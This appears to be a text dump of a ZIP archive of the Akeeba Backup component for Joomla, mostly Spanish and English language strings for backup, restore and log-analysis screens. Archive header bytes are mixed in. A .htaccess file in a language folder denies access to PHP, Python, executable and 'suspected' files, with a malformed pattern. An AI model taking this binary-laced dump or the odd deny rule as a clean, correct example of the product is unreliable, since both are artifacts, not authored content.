COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_CALLBACK_URL="URL de retorno"
COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_HELPER_URL="URL del ayudante OAuth2"
COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_REFRESH_URL="URL de actualización OAuth2"

COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_TYPE_TITLE="Ayudante OAuth2"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_TYPE_DESCRIPTION="Elija qué conjunto de URL de ayudante OAuth2 usar. Lea la documentación."
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_TYPE_OPT_AKEEBA="Proporcionado por Akeeba Ltd"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_TYPE_OPT_CUSTOM="Personalizado"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_HELPER_TITLE="URL del ayudante OAuth2"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_HELPER_DESCRIPTION="La URL completa al ayudante de autenticación OAuth2. Lea la documentación."
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_REFRESH_TITLE="URL de actualización OAuth2"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_REFRESH_DESCRIPTION="La URL completa al asistente de token de actualización OAuth2. Lea la documentación."
PK     \Sʉ        language/es-ES/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \b>\-  -  '  language/en-GB/com_akeebabackup.sys.ininu [        ;; Installation package description
;; ================================================================================
COM_AKEEBABACKUP_XML_DESCRIPTION="The most popular Joomla!&trade; backup component"

;; Permissions
;; ================================================================================
COM_AKEEBABACKUP_ACCESS_BACKUP_LBL="Backup"
COM_AKEEBABACKUP_ACCESS_BACKUP_DESC="Allows taking backups with Akeeba Backup."
COM_AKEEBABACKUP_ACCESS_CONFIGURE_LBL="Configure"
COM_AKEEBABACKUP_ACCESS_CONFIGURE_DESC="Allows configuring Akeeba Backup profiles and using the integrated restoration (if available)."
COM_AKEEBABACKUP_ACCESS_DOWNLOAD_LBL="Download"
COM_AKEEBABACKUP_ACCESS_DOWNLOAD_DESC="Allows downloading, uploading and managing Akeeba Backup archives, as well as using the Site Transfer Wizard (if available)."

;; Menu items
;; ================================================================================
;; For the admin menu manager which uses the name attribute of the XML manifest
AKEEBABACKUP="Akeeba Backup <small>for Joomla!&trade;</small>"

;; For the default menu item
COM_AKEEBABACKUP="Akeeba Backup <small>for Joomla!&trade;</small>"

;; Default submenus
COM_AKEEBABACKUP_CONTROLPANEL="Control Panel"
COM_AKEEBABACKUP_CONFIGURATION="Profile Configuration"
COM_AKEEBABACKUP_BACKUP="Backup Now"
COM_AKEEBABACKUP_MANAGE="Manage Backups"

;; Custom form Fields
;; ================================================================================
COM_AKEEBABACKUP_FORMFIELD_BACKUPPROFILES_NONE="(None)"

;; Custom menu items (backend menu editor)
;; ================================================================================
COM_AKEEBABACKUP_VIEW_CPANEL_TITLE="Control Panel"
COM_AKEEBABACKUP_VIEW_CPANEL_DESC="The main page of Akeeba Backup which lets you configure, take, manage and restore backups."

COM_AKEEBABACKUP_VIEW_BACKUP_TITLE="Backup"
COM_AKEEBABACKUP_VIEW_BACKUP_DESC="Take a backup"
COM_AKEEBABACKUP_VIEW_BACKUP_PROFILE_LABEL="Force backup profile"
COM_AKEEBABACKUP_VIEW_BACKUP_PROFILE_DESC="Select the backup profile to switch to before taking a backup. Choose '(None)' to use the current backup profile, whatever it is."
COM_AKEEBABACKUP_VIEW_BACKUP_AUTOSTART_LABEL="Start immediately"
COM_AKEEBABACKUP_VIEW_BACKUP_AUTOSTART_DESC="Should the backup start immediately? If it does the user will not have the chance to enter a backup description and comments."
COM_AKEEBABACKUP_VIEW_BACKUP_HIDETOOLBAR_LABEL="Hide toolbar"
COM_AKEEBABACKUP_VIEW_BACKUP_HIDETOOLBAR_DESC="Should the toolbar with the Help and Control Panel buttons be hidden?"
COM_AKEEBABACKUP_VIEW_BACKUP_RETURNURL_LABEL="Return URL"
COM_AKEEBABACKUP_VIEW_BACKUP_RETURNURL_DESC="Enter an internal URL to return to after the backup is complete. For example: enter <code>index.php</code> to return to Joomla's control panel or <code>index.php%3Foption%26com_akeeba</code> to return to Akeeba Backup's control panel. <br/> <strong>WARNING</strong> Due to the way the Joomla! menu manager works the URL you enter MUST be URL-encoded. You can do that by saving the menu item <em>twice in a row</em>. This is a known bug / missing feature in Joomla! itself."

COM_AKEEBABACKUP_VIEW_CONFIGURATION_TITLE="Configuration"
COM_AKEEBABACKUP_VIEW_CONFIGURATION_DESC="Configure the currently active backup profile."

COM_AKEEBABACKUP_VIEW_MANAGE_TITLE="Manage Backups"
COM_AKEEBABACKUP_VIEW_MANAGE_DESC="Manage backup attempts, including choosing to restore any older backup."

COM_AKEEBABACKUP_VIEW_RESTORE_TITLE="Restore Latest Backup"
COM_AKEEBABACKUP_VIEW_RESTORE_DESC="Restore the latest backup taken with a specific backup profile. Please read the documentation."
COM_AKEEBABACKUP_VIEW_RESTORE_PROFILE_LABEL="Backup Profile"
COM_AKEEBABACKUP_VIEW_RESTORE_PROFILE_DESC="Restore the latest backup taken with this backup profile. <strong>IMPORTANT!</strong> It will only look for the latest backup taken with this profile. The backup archive MUST exist on your server. If you have deleted it, or if it's stored remotely, you will get an error. Restoring remotely stored backups requires you to go to Manage Backups first and fetch them back to your server."

COM_AKEEBABACKUP_VIEW_TRANSFER_TITLE="Transfer Site Wizard"
COM_AKEEBABACKUP_VIEW_TRANSFER_DESC="Lets you restore the latest backup to a different location / server. <strong>IMPORTANT!</strong> It will only look for the latest backup taken. The backup archive MUST exist on your server. If you have deleted it, or if it's stored remotely, you will be told to take a new backup. Transferring remotely stored backups requires you to go to Manage Backups first and fetch them back to your server."PK     \  #  language/en-GB/com_akeebabackup.ininu [        COM_AKEEBABACKUP="Akeeba Backup <small>for Joomla!&trade;</small>"
COM_AKEEBABACKUP_CORE="Akeeba Backup CORE <small>for Joomla!&trade;</small>"
COM_AKEEBABACKUP_PRO="Akeeba Backup Professional <small>for Joomla!&trade;</small>"

COM_AKEEBABACKUP_ALICE="Troubleshooter - ALICE"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_HEAD="Log analysis is complete"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_ERROR="Detected Error"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_ERRORHELP="If you do not understand what the error above means and you have an active support subscription on our site please file a support request including all of the text on this page. This will let us help you most efficiently. Thank you!"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_NEXTSTEPS="If the solution presented above did not help you solve your issue and you have an active support subscription on our site please file a support request including: 1. a ZIP file with your backup log file; and 2. the text on this page. Please do not include <em>only</em> this information, it will make our replies slower and less accurate. Do try to also describe your backup issue in more detail such as why you believe there is a problem, when the problem started happening, any corrective steps you took yourself and any information you think would be relevant in helping us better understand what is going on."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SOLUTION="Possible solution:"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY="ALICE finished its log analysis. A total of %d different checks were executed."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY_ERRORS="We detected a major issue which may have caused your backup to fail."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY_SUCCESS="No backup issues were detected."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY_WARNINGS="We only detected some minor issues which typically do not cause backup failure."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_WARNINGS="Detected Warnings"
COM_AKEEBABACKUP_ALICE_ANALYZE="Analyse Log"
COM_AKEEBABACKUP_ALICE_AUTORUN_NOTICE="Please hold on. Your log will start being analysed shortly."
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM="Checking filesystem errors"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_DIRECTORIES="Large directories"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_DIRECTORIES_ERROR="The following directories have a very large number of elements: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_DIRECTORIES_SOLUTION="You should switch the scan engine to <strong>Large Site Scanner</strong>"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_FILES="Large files issues"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_FILES_ERROR="The following files are too big and can cause backup issues: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_FILES_SOLUTION="Please try excluding these files using the Files and Directories Exclusion feature or delete them if you are sure you don't need them on your site."
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_MULTIPLE_SITES="Multiple Joomla! installations"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_MULTIPLE_SITES_ERROR="Found Joomla! installations in the following subdirectories: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_MULTIPLE_SITES_SOLUTION="You should exclude these subdirectories since they could lead to timeout issues."
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_OLD_BACKUPS="Old backups included"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_OLD_BACKUPS_ERROR="The following old backups are included in the current backup: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_OLD_BACKUPS_SOLUTION="Delete or exclude those from the backup."
COM_AKEEBABACKUP_ALICE_ANALYZE_LABEL_PROGRESS="Analysis progress"
COM_AKEEBABACKUP_ALICE_ANALYZE_RAW_OUTPUT="The log analyser has detected one or more backup issues. If following this log analyser's suggestions and our troubleshooting documentation's instructions doesn't work and you have an active subscription on our site please file a new ticket pasting the following <em>log analysis text output</em> to help us provide you with faster support."
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS="Checking system requirements"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE="Database type and version"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_SOLUTION="Akeeba Backup only supports MySQL 5.0.47 or later"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_UNKNOWN="We could not detect your database type. Detected type: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_UNSUPPORTED="Your database server is not supported, yet. Detected database type: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_VERSION_TOO_OLD="Database version too old. Detected version: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DBPERMISSIONS="Database permissions"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DBPERMISSIONS_ERROR="It seems that you can't execute SHOW TABLE and/or SHOW VIEW statements on your database."
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DBPERMISSIONS_SOLUTION="Please contact your host"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_MEMORY="Available memory"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_MEMORY_SOLUTION="Please contact your host and ask them for instructions to increase your PHP memory limit."
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_MEMORY_TOO_FEW="Akeeba Backup needs at least 16Mb of available memory. Detected available memory: %sMb"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_PHP_VERSION="PHP version"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_PHP_VERSION_ERR_TOO_OLD="PHP Version too old. Detected version: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_PHP_VERSION_SOLUTION="Akeeba Backup needs PHP 5.6 or PHP 7"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIMEERRORS="Checking runtime errors"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_CORRUPTED_INSTALL="Installation integrity"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_CORRUPTED_INSTALL_ERROR="It seems that your installation is broken. This could happen when the host applies very strict security rules, mistakenly identifying Akeeba Backup files as security threats and deleting or renaming them without asking you."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_CORRUPTED_INSTALL_SOLUTION="Please re-install Akeeba Backup <strong>without uninstalling it</strong>. If this doesn't help please contact your host at once."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_JSAME="Additional database - Joomla database inclusion"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_JSAME_ERROR="You added Joomla database as additional database; some server could refuse a second connection to the same db, resulting in a backup error"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_JSAME_SOLUTION="Remove Joomla database from the additional databases"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_NO_PROFILE="Could not detect the used profile, test skipped"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_WRONG="Additional database - Wrong access details"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_WRONG_ERROR="One (or more) additional database has invalid access details"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_WRONG_SOLUTION="Please review the connection details of additional databases"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_ERRORFILES="Error log files"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_ERRORFILES_FOUND="Error log files are included inside archive backup:<br/>%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_ERRORFILES_SOLUTION="You can exclude these files using the following regular expression: <strong>#(/php_error_cpanel\.|php_error_cpanel\.|/error_)log#</strong>"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_FATALERROR="Fatal errors"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_FATALERROR_ERROR="The following fatal error happened while taking a backup. Please review and fix it before continuing: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_FATALERROR_SOLUTION="If you do not understand what this means and you have an active subscription to our site, please file a new support ticket making sure that 1. you have ZIPped and attached the backup log file and 2. you have pasted the text output visible at the top of this page."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_KETTENRAD="Backup engine state saving issues"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_KETTENRAD_SOLUTION="It seems that a single request was processed more than once by your server. This leads to failures during the backup process or corrupted archives; you should contact your host and report this issue."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_KETTENRAD_STARTING_MORE_ONCE="Trying to start step %s more than once."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_PART_SIZE="Post-processing engine and archive part size"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_PART_SIZE_ERROR="A post-processing engine is found, but no part size is set; this could lead to timeout issues"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_PART_SIZE_SOLUTION="Set a part size inside backup profile configuration."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT="Timeout while backing up"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT_KETTENRAD_BROKEN="There is already an issue with the backup engine saving its state. Please fix it before continuing."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT_MAX_EXECUTION="The backup script reached a timeout limit. Detected timeout: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT_SOLUTION="Please try setting min execution time to 1, max execution time to 10 seconds (or if the PHP timeout is less than 10 seconds, use 75% of the PHP timeout), runtime bias 75%"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYDBS="Number of tables being saved"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYDBS_ERROR="You are trying to backup too many tables. Please avoid backing up different Joomla! installation at once."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYDBS_SOLUTION="You can exclude non-core tables using the following regular expression: <strong>!/^#__/</strong>"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS="Table row count"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_ERROR="You are trying to backup tables with a lot of rows (more than 1 million):\n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_ROWS="rows"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_SOLUTION="You should exclude these tables using the <strong>Database Tables Exclusion</strong> feature"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_TABLE="Table"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_WINCANTAPPEND="Backup archive writing issues"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_WINCANTAPPEND_ERROR="Could not open archive file for append."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_WINCANTAPPEND_SOLUTION="Please check if you have enough disk space, or if resources are being depleted or if you need to prevent system (Windows) backup and antivirus scanning while the backup takes place."
COM_AKEEBABACKUP_ALICE_ERR_ANALYZEFAILED_HEADER="Log analysis failed"
COM_AKEEBABACKUP_ALICE_ERR_ANALYZEFAILED_INFO="The log analysis has been halted. The log analyser reported the following error:"
COM_AKEEBABACKUP_ALICE_ERR_CANNOT_OPEN_LOGFILE="Log file analysis failed: could not open log file %s for reading."
COM_AKEEBABACKUP_ALICE_HEADER_CHECK="Check performed"
COM_AKEEBABACKUP_ALICE_HEADER_RESULT="Result"

COM_AKEEBABACKUP_ALICE_ERR_NOLOGS="No log files for <strong>failed</strong> backups were found."
COM_AKEEBABACKUP_ALICE_HEAD_ONLYFAILED="ALICE only works on <em>failed</em> backups"
COM_AKEEBABACKUP_ALICE_LBL_ONLYFAILED_SHOWINGLOGS="ALICE is a tool to analyze the log files of <em>failed</em> backups and — in most cases — give you the most likely cause for the backup failure. It is not meant to analyse the log files of successful backups. Doing that would return nonsensical, misleading or outright wrong results. For this reason we will only show you the log files of <em>failed</em> backups."
COM_AKEEBABACKUP_ALICE_LBL_ONLYFAILED_WHATISFAILED="Please remember that backups which didn't finish uploading the backup archive to remote storage are not failed. The root cause for these problems cannot be detected by ALICE anyway. If you have this kind of problem you need to file a support ticket in our site's Support section. If someone else installed Akeeba Backup Professional for you on your site please contact that person instead; you won't be able to file a support ticket on our site in this case."
COM_AKEEBABACKUP_ALICE_LBL_ONLYFAILED_IFNOFAILED="If your backup failed but you do not see it on this page please wait for <em>three (3) minutes</em>, go back to the Akeeba Backup Control Panel page and then come back here. There's a reason for that. In some cases the backup failure is caused by a server error. In these cases the backup is marked as still-in-progress instead of failed since PHP stops running, therefore our PHP code which would mark the backup as failed doesn't get the chance to run. When you visit the Control Panel page any backup marked as still-in-progress for more than 3 minutes will be marked as failed. Hence the need to wait and <em>then</em> go back to the Control Panel page."

COM_AKEEBABACKUP_BACKUP="Backup Now"
COM_AKEEBABACKUP_BACKUP_ANALYSELOG="Analyse Log File (ALICE)"
COM_AKEEBABACKUP_BACKUP_ANGIE_PASSWORD_WARNING_1="The Akeeba Backup Restoration Script will only be accessible if you provide the password you have set up in the previous page, before clicking the Backup Now button. If you don't remember setting up a password, your browser has auto-completed the password on the Configuration page <strong>without asking you</strong>. This is done by many password managers and browsers."
COM_AKEEBABACKUP_BACKUP_ANGIE_PASSWORD_WARNING_2="Modern browsers and password managers do not allow us to override this behaviour. We have put a JavaScript defence against this kind of non-consensual auto-filling of the password field in the Configuration page. However, if you save the Configuration page within approximately half a second after it loads this defence will not have a chance to run."
COM_AKEEBABACKUP_BACKUP_ANGIE_PASSWORD_WARNING_HEADER="WARNING: You have set up a Restoration Script password"
COM_AKEEBABACKUP_BACKUP_DEFAULT_DESCRIPTION="Backup taken on"
COM_AKEEBABACKUP_BACKUP_ERROR_UNWRITABLEOUTPUT_AUTOBACKUP="The automatic backup can not be started because your output directory is not writable. Please follow the instructions below to fix this issue."
COM_AKEEBABACKUP_BACKUP_ERROR_UNWRITABLEOUTPUT_COMMON="In order to fix this issue, please go to the <a href=\"%s\">Configuration Page</a> and set the Output Directory to <code>[DEFAULT_OUTPUT]</code> (all caps, including the brackets). If this still doesn't work, please take a look <a href=\"%s\">at our troubleshooting instructions</a>"
COM_AKEEBABACKUP_BACKUP_ERROR_UNWRITABLEOUTPUT_NORMALBACKUP="Akeeba Backup can not take a backup of your site because the output directory is not writable. Please follow the instructions below to fix this issue."
COM_AKEEBABACKUP_BACKUP_ERROR_PROFILE_NO_ACCESS="You do not have access to this backup profile."
COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPFAILED="Backup Failed"
COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPFINISHED="Backup Completed Successfully"
COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPRETRY="Backup Halted and Will Resume Automatically"
COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPWITHRETURNURLFINISHED="The process was completed successfully"
COM_AKEEBABACKUP_BACKUP_HEADER_STARTNEW="Start a new backup"
COM_AKEEBABACKUP_BACKUP_LABEL_COMMENT="Backup comment"
COM_AKEEBABACKUP_BACKUP_LABEL_COMMENT_HELP="This will appear in both the Manage Backups page and inside the backup archive (in the installation/README.html file) for your convenience."
COM_AKEEBABACKUP_BACKUP_LABEL_DESCRIPTION="Short description"
COM_AKEEBABACKUP_BACKUP_LABEL_DESCRIPTION_HELP="This will appear in the Manage Backups page for your convenience."
COM_AKEEBABACKUP_BACKUP_LABEL_DETECTEDQUIRKS="Akeeba Backup may not work as expected"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_FINISHED="Finalising the backup process"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_INIT="Initialising backup process"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_INSTALLER="Embedding the installer in the archive"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_PACKDB="Backing up databases"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_PACKING="Backing up files"
COM_AKEEBABACKUP_BACKUP_LABEL_PROGRESS="Backup Progress"
COM_AKEEBABACKUP_BACKUP_LABEL_QUIRKSLIST="Akeeba Backup detected the following potential problems:"
COM_AKEEBABACKUP_BACKUP_LABEL_RESTORE_DEFAULT="Restore default"
COM_AKEEBABACKUP_BACKUP_LABEL_START="Backup Now!"
COM_AKEEBABACKUP_BACKUP_LABEL_WARNINGS="Warnings"
COM_AKEEBABACKUP_BACKUP_LBL_EXPLAIN_PROFILES="You can change the active backup profile above to take a backup using different settings. You can create backup profiles in the Profiles page."
COM_AKEEBABACKUP_BACKUP_LBL_UPGRADENAG="Tired of seeing this page? You can automate your backups with Akeeba Backup Professional."
COM_AKEEBABACKUP_BACKUP_STATS="Backup Statistics"
COM_AKEEBABACKUP_BACKUP_STATUS_NONE="No backup taken"
COM_AKEEBABACKUP_BACKUP_TEXT_AVGWARNING="You are running AVG Antivirus with Link Scanner enabled. This is known to cause backup issues. Please disable the Link Scanner feature if you run into any problems.\n\nAre you sure you want to continue despite this warning?"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKINGUP="Please <strong>DO NOT</strong> browse to another page, switch to another browser tab / window, or switch to <em>a different application</em> unless you see a completion or error message. Make sure your device does not go into sleep mode while the backup is in progress."
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPFAILED="The backup operation has been halted because an error was detected.<br />The last error message was:"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPFAILEDRETRY="The backup operation has been halted because an error was detected. However, Akeeba Backup will attempt to resume the backup. If you do not want to resume the backup please click the Cancel button below."
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPFINISHED="Backup finished on"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPHALT="Backup halted"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPHALT_DESC="The backup will resume in %d seconds"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPRESUME="Backup resumed on"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPSTARTED="Backup started on"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPWARNING="The backup raised a warning"
COM_AKEEBABACKUP_BACKUP_TEXT_BTNRESUME="Resume"
COM_AKEEBABACKUP_BACKUP_TEXT_CONGRATS="Congratulations! The backup process has completed successfully.<br/>You can now navigate to another page."
COM_AKEEBABACKUP_BACKUP_TEXT_LASTERRORMESSAGEWAS="For your information, the last error message was:"
COM_AKEEBABACKUP_BACKUP_TEXT_LASTRESPONSE="Last server response %ss ago"
COM_AKEEBABACKUP_BACKUP_TEXT_PLEASEWAITFORREDIRECTION="Please wait; you are being redirected to the next page.<br/>This may take 5-30 seconds, depending on your Internet connection."
COM_AKEEBABACKUP_BACKUP_TEXT_READLOGFAIL="Please click the 'View Log' button on the toolbar to view the Akeeba Backup log file for further information."
COM_AKEEBABACKUP_BACKUP_TEXT_READLOGFAILPRO="Please click the 'Analyse Log' button below to have Akeeba Backup analyse its log file for further information."
COM_AKEEBABACKUP_BACKUP_TEXT_RTFMTOSOLVE="We strongly recommend going through the step-by-step instructions in our <a href=\"%s\">troubleshooting wizard</a> to easily resolve this issue yourself."
COM_AKEEBABACKUP_BACKUP_TEXT_RTFMTOSOLVEPRO="Following the suggestions of ALICE, our log analyser, may not be enough. The automatic log analyser cannot cover all possible problem cases."
COM_AKEEBABACKUP_BACKUP_TEXT_SOLVEISSUE_CORE="If this doesn't help, you may consider <a href=\"%s\">buying a subscription</a> so that you can ask for support in our <a href=\"%s\">support ticket system</a>."
COM_AKEEBABACKUP_BACKUP_TEXT_SOLVEISSUE_LOG="If you do post to our ticket system, please remember to ZIP and attach your <a href=\"%s\">backup log file</a> in your post so that we can help you faster."
COM_AKEEBABACKUP_BACKUP_TEXT_SOLVEISSUE_PRO="If this doesn't help, please do not hesitate to ask for support in our <a href=\"%s\">support ticket system</a>. Do note that you need an active subscription to request assistance through the ticket system. If Akeeba Backup Professional was installed on your site by a third party -e.g. your web developer- please do not contact Akeeba Ltd for support. Instead, contact the person who installed the software on your site and request assistance to solve this issue."
COM_AKEEBABACKUP_BACKUP_TEXT_WILLRETRY="The backup will resume in"
COM_AKEEBABACKUP_BACKUP_TEXT_WILLRETRYSECONDS="seconds"
COM_AKEEBABACKUP_BACKUP_TROUBLESHOOTINGDOCS="Troubleshooting Documentation"

COM_AKEEBABACKUP_BROWSER_ERR_BASEDIR="The specified directory is subject to open_basedir restrictions. It can neither be used for backup output, nor its contents, if any, can be listed."
COM_AKEEBABACKUP_BROWSER_ERR_NONROOT="For your information: This directory is outside your site's web root."
COM_AKEEBABACKUP_BROWSER_ERR_NOTEXISTS="The specified directory doesn't exist!"
COM_AKEEBABACKUP_BROWSER_LBL_GO="Go"
COM_AKEEBABACKUP_BROWSER_LBL_GOPARENT="&lt;up one level&gt;"
COM_AKEEBABACKUP_BROWSER_LBL_USE="Use"

COM_AKEEBABACKUP_BUADMIN="Manage Backups"
COM_AKEEBABACKUP_BUADMIN_TABLE_CAPTION="Table of backup attempts"
COM_AKEEBABACKUP_BUADMIN_SORT_BACKUPSTART_ASC="Backup start ascending"
COM_AKEEBABACKUP_BUADMIN_SORT_BACKUPSTART_DESC="Backup start descending"
COM_AKEEBABACKUP_BUADMIN_BTN_DONTSHOWTHISAGAIN="Got it!"
COM_AKEEBABACKUP_BUADMIN_BTN_REMINDME="Remind me next time"
COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDDOWNLOAD="Can't download the file of the specified backup record"
COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDID="Invalid backup record identifier"
COM_AKEEBABACKUP_BUADMIN_ERR_CANNOT_DELETE_ARCHIVES="Could not delete backup archive files. Please check the permissions."
COM_AKEEBABACKUP_BUADMIN_ERR_CANNOT_DELETE_RECORD="Could not delete the backup archive record."
COM_AKEEBABACKUP_BUADMIN_N_ITEMS_PUBLISHED_1="The backup record was frozen."
COM_AKEEBABACKUP_BUADMIN_N_ITEMS_PUBLISHED="%d backup records were frozen."
COM_AKEEBABACKUP_BUADMIN_N_ITEMS_UNPUBLISHED_1="The backup record was unfrozen."
COM_AKEEBABACKUP_BUADMIN_N_ITEMS_UNPUBLISHED="%d backup records were unfrozen."
COM_AKEEBABACKUP_BUADMIN_FROZENRECORD_ERROR="Can not perform selected action to a frozen record"
COM_AKEEBABACKUP_BUADMIN_LABEL_ACTION_FREEZE="Freeze record"
COM_AKEEBABACKUP_BUADMIN_LABEL_ACTION_UNFREEZE="Unfreeze record"
COM_AKEEBABACKUP_BUADMIN_LABEL_COMMENT="Comment"
